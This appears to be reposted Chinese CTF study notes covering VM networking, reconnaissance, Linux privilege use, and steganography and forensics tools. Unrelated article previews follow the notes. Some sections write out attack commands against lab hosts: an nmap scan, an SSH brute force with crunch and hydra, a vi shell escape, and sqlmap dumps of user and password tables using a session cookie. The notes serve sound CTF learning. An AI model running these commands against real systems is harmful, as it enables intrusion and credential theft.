CTF学习笔记

笔记下载:https://download.csdn.net/download/qq_48257021/88650265

1.网卡连接模式

1.1桥接模式:(自由)

将虚拟机的虚拟网络适配器与主机的物理网络适配器进行交接,虚拟机中的虚拟网络适配器可通过主机中的物理网络适配器直接访问到外部网络(例如图中所示的局域网和Internet,下同)。简而言之,这就。好像在上图所示的局域网中添加了一台新的、独立的计算机一样,虚拟机也会占用局域网中的一个IP地址

1.2 nat模式:(关着,不隔绝)

VMware会在主机上建立单独的专用网络,用以在主机和虚拟机之间相互通信。虚拟机向外部网络发送的请求数据"包裹",都会交由NAT网络适配器加上"特殊标记"并以主机的名义转发出去,虚拟机在外部网络中不必具有自己的IP地址,外部网络终端也无法访问到虚拟机,

1.3 仅主机模式:(关小黑屋,隔绝外部)

仅主机模式的虚拟网络适配器仅对主机可见,在虚拟机和主机系统之间提供网络连接

2. nmap

信息收集端口扫描:nmap -sS -sV -p- -v -T4 192.168.43.200

扫描网站目录:dirb 百度一下,你就知道

发现目录:admin 访问,暴力破解密码和用户名

crunch :生成密码字典。man crunch 查看语法。

crunch 8 8 -t kill0r%@ -o dict.txt

最大长度8 最小长度8 :hydra -l guest -P dict.txt 192.168.133.145 ssh

暴力破解:用户名:guest 密码字典:dict.txt

echo $PATH : 查看自己能输入的命令在哪里

echo $PATH/* : 查看自己能用的命令

在vi 编辑器里强制调用bin/bash:vi 1.txt :  !/bin/bash

!在命令前面表示强制调用外部命令,在命令后面表示强制使用命令。

查找;sudo 目录

将当前环境变量变为有sudo的环境下。

查找 su 命令

cat etc/group :查看有什么组 (用户信息在 /etc/passwd中,组信息保存在/etc/group中,早期的Linux将密码以名码的形式保存在/etc/passwd中,而现在则多以暗码(也就是加密之后的形式)的形式保存在/etc/shadow)。

更改用户户名和密码:passwd 用户名

Linux useradd 命令 | 菜鸟教程

update wpuser set user_pass=md5(“123qwe”) where user_login=”lcy”;

下载脏牛到kali

3.ctf

netdiscover:ARP是将IP地址转化物理地址的网络协议。通过该协议,可以判断某个IP地址是否被使用,从而发现网络中存活的主机。

netdiscover -i(指定网卡) eth0 -r (选择扫描范围)192.168.43.200

sqlmap -u http://192.168.133.133/index.html?page=blog&title=Blog&id=2 --dbs -D ehks  --table -T user --colums -C user_name,user_pass --dump

--dbs   :爆破数据库

-D ehks  :指定数据库ehks

--tables   :爆表

-T :指定表user

--colums :字段

-C :指定字段user_name user_pass

--dump :爆开数据库

如果提示缺少cookie:

在浏览器点击console ,输入document.cookie 就会出现cookie,再将cookie 贴进去

sqlmap -u “192.168.43.200:81/bwapp/sqli_2.php?movie=1&action=go”--cookie=”PHPSESSID=90tuqnom6p3vrabo6ah0fpceg6; security_level=0” --dbs

一些有用的信息:

对security 数据库爆破:

sqlmap -u "192.168.43.200:81/bwapp/sqli_2.php?movie=1&action=go"  --cookie="PHPSESSID=90tuqnom6p3vrabo6ah0fpceg6; security_level=0" --dbs -D security --tables -T users --columns -C password,username --dump

ssh:远程登陆  :ssh 用户名@ip

sudo : Linux sudo命令 | 菜鸟教程

sudo su : 切换到root 用户模式

4.sudo语法

sudo -V
sudo -h
sudo -l
sudo -v
sudo -k
sudo -s
sudo -H
sudo [ -b ] [ -p prompt ] [ -u username/#uid] -s
sudo command

参数说明:

  • -V 显示版本编号
  • -h 会显示版本编号及指令的使用方式说明
  • -l 显示出自己(执行 sudo 的使用者)的权限
  • -v 因为 sudo 在第一次执行时或是在 N 分钟内没有执行(N 预设为五)会问密码,这个参数是重新做一次确认,如果超过 N 分钟,也会问密码
  • -k 将会强迫使用者在下一次执行 sudo 时问密码(不论有没有超过 N 分钟)
  • -b 将要执行的指令放在背景执行
  • -p prompt 可以更改问密码的提示语,其中 %u 会代换为使用者的帐号名称, %h 会显示主机名称
  • -u username/#uid 不加此参数,代表要以 root 的身份执行指令,而加了此参数,可以以 username 的身份执行指令(#uid 为该 username 的使用者号码)
  • -s 执行环境变数中的 SHELL 所指定的 shell ,或是 /etc/passwd 里所指定的 shell
  • -H 将环境变数中的 HOME (家目录)指定为要变更身份的使用者家目录(如不加 -u 参数就是系统管理者 root
  • command 要以系统管理者身份(或以 -u 更改为其他人)执行的指令

sudo实例

sudo命令使用

$ sudo ls
[sudo] password for hnlinux: 
hnlinux is not in the sudoers file. This incident will be reported.

指定用户执行命令

# sudo -u userb ls -l

5 .杂项

5.1文件头

txt : 没有

识别文件的后缀:file 文件名

或者用nodepad++打开,编码方式选择hex ,可以看到头编码是:ffd8ffe0,猜测是jpg文件

共享文件:sudo mount.cifs //192.168.43.200/gx ./gx -o user=Lenovo

5.2检查文件类型file

3.文件头残缺/错误

通常文件无法正常打开有两种情况,一种是文件头部残缺,另一种是文件头部字段错误。针对文件头部残缺的情况,使用winhex程序添加相应的文件头,针对头部字段错误,可以找一个相同类型的文件进行替换。

使用场景:文件头部残缺或文件头部字段错误无法打开正常文件。

格式:fle文件名

5.3分离文件

5.3.1 binwalk

分析文件 binwalk文件名

分离文件:binwalk -e 文件名

1.Binwalk工具

Binwalk是Linux下用来分析和分离文件的工具,可以快速分辨文件是否由多个文件合并而成,并将文件进行分离。如果分离成功会在目标文件的目录。

同目录下生成一个形如文件名extracted的文件目录,目录中有分离后的文件。

用法:

分析文件:binwalk filename

分离文件:binwalk-e filename

5.3.2 foremost

foremost 文件名 -o 文件夹名

2.foremost

如binwalk.无法正确分离出文件,可以使foremost,将目标文件复剩到kali中,成功执行后,会在目标文件的文件目录下生成

我们设置的目录,目录中会按文件类型分离出文件,

用法:

foremost文件名-o输出目录名

5.3.3 dd

dd if=filename of=目标文件 bs=1 skip=23

3.dd

当文件自动分离出错或者因为其他原因无法自动分离时,可以使用dd实现文件手动分离。

格式:

dd if=源文件of=目标文件名bs=1 skip=开始分离的字节数

参数说明:

if=file

#输入文件名,缺省为标准输入。

of=file

#输出文件名,缺省为标准输出。

bs=bytes #同时设置读写块的大小为bytes,可代替ibs和obs。

skip=blocks #从输入文件开头跳过blocks个块后再开始复制。

5.4文件合并

5.4.1cat , copy /B

合并文件

1.Linux下的文件合并

使用场景:Iiux下,通常对文件名相似的文件要进行批量合并

格式:cat合并的文件>输出的文件

cat 1.txt 2.jpg > book

2.Windows下的文件合并

使用场景:windows下,通常要对文件名相似的文件进行批量合并

格式:copy /B合并的文件 输出的文件命令

完整性检测:

1.linux下计算文件

md5sum 文件名

2. windows下计算文件md5:

certutil-hashfile文件名md5

5.5图片文件隐写

5.5.1 exiftool(分析图片信息)

分析图片信息:exiftool 文件名

2.5.2 stegsolve,像素比较

图片文件隐写

3.Stegsolve

当两张jpg图片外观、大小、像素都基本相同时,可以考虑进行结合分析,即将两个文件的像素RGB值进行XOR、ADD、SUB等操作,看能否得到有用的信总,StegSolve可以方便的进行这些操作。

使用场景:两张图片信息基本相同

1.打开第一张图片,点击analyse->Image combiner

2.在弹出的窗口中点击左右按钮选择处理方式,点击save保存有价值的结果。

5.5.3 zsteg(分析隐藏数据)

zsteg工具

detect stegano-hidden data in PNG BMP

Installation

root@kali:/gem install zsteg

检测LSB隐写

zsteg xxx.png

5.5.4wbstego4(解密)

 解密通过lsb加密的图片、txt 、bmp 、pdf

5.5.5 python脚本

python脚本来处理

将以下脚本放相kai中运行,将目标文件放在脚本同目录下,将脚本中的文件名修改为文件名,运行python即可

5.5.6 tweakpng,crc

如果不是crc错误,可能是高度错误:利用下面这个脚本,if crc32==” 0xcbdf8a”

然后更改高度和宽度应是:宽高16进制编码第二行,前8个字节,实在不知道宽高,就把高度自己估摸着调高。

5.5.7 bftools(解密)

Bftools decode braincopter filename1 –output  filename2

5.5.8 stegdetect(探测加密方式)

Stegdetect工具探测加密方式

Steqdetect.程序主要用于分PEG文件,因此仍teqdetect可以检到通JSteg、JPHide、OutGuess、Invisible Secrets,F5、appendX,Camouflage等这些隐写工具隐藏的信息。

stegdetect xxx.jpg

stegdetect-s敏感度xxx.jpgexi

5.5.9 outguess,f5(解密)

5.6压缩文件分析:

5.6.1伪加密

5.6.2 archpr(破解)

5.6.3 ziperor 破解

zip压缩包加密

5.7流量取证

5.7.1过滤命令:

5.7.2 wireshark流汇聚

5.7.3 wireshark 提取文件

文件分离:文件-> 导出 -> http ->save all

5.7.4 无线wifi

5.7.5 aircrack-ng(破解)

5.7.6 usb

导出usb流量:leftover capture分析 -> 应用为列

tshark 方式提取usb流量。

用python脚本提取。

usb 流量分析.

用python脚本分析。

将坐标导入txt文本

用gnuplot 工具把坐标画出

5.7.7 http

5.8密码学:

5.8.1 base64

5.8.2 url

5.8.3 unicode

5.8.4 js混淆

5.8.5 替换加密

string filename > a.txt 将文件中的可打印字符提取出

6.linux:网络地址配置:

apt-get

-install 联网安装

-remove 卸载

7.网络

7.1 分层模型

7.2 http请求报文

7.3 http响应报文

7.4 http协议解题

7.5 文件上传漏洞

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/294880.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

final前置关键字(和常量)

final 什么是final注意 常量使用常量记录系统配置信息的优势、执行原理 什么是final final关键字是最终的意思,可以修饰(类、方法、变量)修饰类:该类被称为最终类,不可以再被继承;修饰方法:该方…

Leetcode—43.字符串相乘【中等】

2023每日刷题(六十八) Leetcode—43.字符串相乘 算法思想 实现代码 class Solution { public:string multiply(string num1, string num2) {int len1 num1.size(), len2 num2.size();string ans;int end1 len1 - 1, end2 len2 - 1;int arr[len1 l…

使用PE信息查看工具和Dependency Walker工具排查因为库版本不对导致程序启动报错问题

目录 1、问题说明 2、问题分析思路 3、问题分析过程 3.1、使用Dependency Walker打开软件主程序,查看库与库的依赖关系,查看出问题的库 3.2、使用PE工具查看dll库的时间戳 3.3、解决办法 4、最后 VC常用功能开发汇总(专栏文章列表&…

webSocket原理及其案例

常见的消息推送方式 1:轮询方式 浏览器以指定的时间间隔向服务器发出HTTP请求,服务器实现试试返回数据给浏览器 缺点:数据有延时、服务器压力较大。 2:长轮询 浏览器发出ajax(异步)请求,服…

【LeetCode刷题笔记】前缀树

208. 实现 Trie (前缀树) 解题思路: 1. 前缀树 Map实现 ,使用一个 Map<Character, Trie> 来存储 每个字符 对应的 若干子节点 ,在构造函数中初始化 根节点 root 为 当前对象实例 , 在 插入

技术分享 | 接口测试请求超时怎么办?

​ &#x1f4e2;专注于分享软件测试干货内容&#xff0c;欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; 如有错误敬请指正&#xff01;&#x1f4e2;交流讨论&#xff1a;欢迎加入我们一起学习&#xff01;&#x1f4e2;资源分享&#xff1a;耗时200小时精选的「软件测试…

【基础知识】大数据组件HBase简述

HBase是一个开源的、面向列&#xff08;Column-Oriented&#xff09;、适合存储海量非结构化数据或半结构化数据的、具备高可靠性、高性能、可灵活扩展伸缩的、支持实时数据读写的分布式存储系统。 只是面向列&#xff0c;不是列式存储 mysql vs hbase vs clickhouse HMaster …

Qt/C++视频监控Onvif工具/组播搜索/显示监控画面/图片参数调节/OSD管理/祖传原创

一、前言 能够写出简单易用而又不失功能强大的组件&#xff0c;一直是我的追求&#xff0c;简单主要体现在易用性&#xff0c;不能搞一些繁琐的流程和一些极难使用的API接口&#xff0c;或者一些看不懂的很难以理解的函数名称&#xff0c;一定是要越简单越好。功能强大主要体现…

【SpringMVC】REST(Representation State Transfer)ful开发

REST全称Representation State Transfer&#xff0c;表现形式状态转换 文章目录 1. 为什么提出了REST&#xff1f;2. RESTful入门案例案例代码修改请求方式修改成RESTful风格&#xff0c;并以POST方式提交 RESTful格式下传参RESTful入门案例总结RequestBody&#xff0c;Reques…

工业互联网:常用的MQTT客户端与Broker

背景 作为物联网终端数据上云协议事实上的标准&#xff0c;当涉及到 MQTT &#xff08;Message Queuing Telemetry Transport&#xff09;协议时&#xff0c;目前有许多不同的 Broker 和客户端工具可供选择。本文简要罗列下常见的 Broker 和客户端工具&#xff0c;以及可供测试…

锐捷ssh配置

配置实例 ssh-Server ssh-Server(config)#enable service ssh-server // 启用ssh服务 ssh-Server(config)#username admin privilege 15 password Test123456 // 设置ssh登陆的账户密码 ssh-Server(config)#line vty 0 4 ssh-Server(config-line)#transport input ssh …

【数据结构和算法】---栈和队列的互相实现

目录 一、用栈实现队列1.1初始化队列1.2模拟入队列1.3模拟出队列1.4取模拟的队列头元素1.5判断队列是否为空 二、用队列实现栈2.1初始化栈2.2模拟出栈2.3模拟入栈2.4取模拟的栈顶元素2.5判读栈是否为空 一、用栈实现队列 具体题目可以参考LeetCode232. 用栈实现队列 首先要想到…